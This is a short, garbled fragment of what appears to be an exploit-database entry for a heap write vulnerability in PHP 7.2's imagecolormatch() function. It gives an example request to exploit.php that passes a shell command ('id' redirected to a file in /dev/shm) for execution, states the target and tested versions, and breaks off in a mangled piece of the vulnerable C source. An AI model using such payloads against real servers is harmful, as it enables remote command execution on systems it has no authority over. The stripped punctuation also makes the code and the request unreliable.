PHP 7.2 - imagecolormatch() Out of Band Heap Write

PHP 7.2 - imagecolormatch Out of Band Heap Write &c= Example: GET/POST /exploit.php?f=0x7fe83d1bb480&c=id++/dev/shm/titi Target: PHP 7.2.x Tested on: PHP 7.2.12 / buf = unsigned long safeemallocsizeofunsigned long, 5 im2-colorsTotal, 0; for x=0; xsx; x++ for y=0; ysy; y++ color = im2-pixelsyx; rg...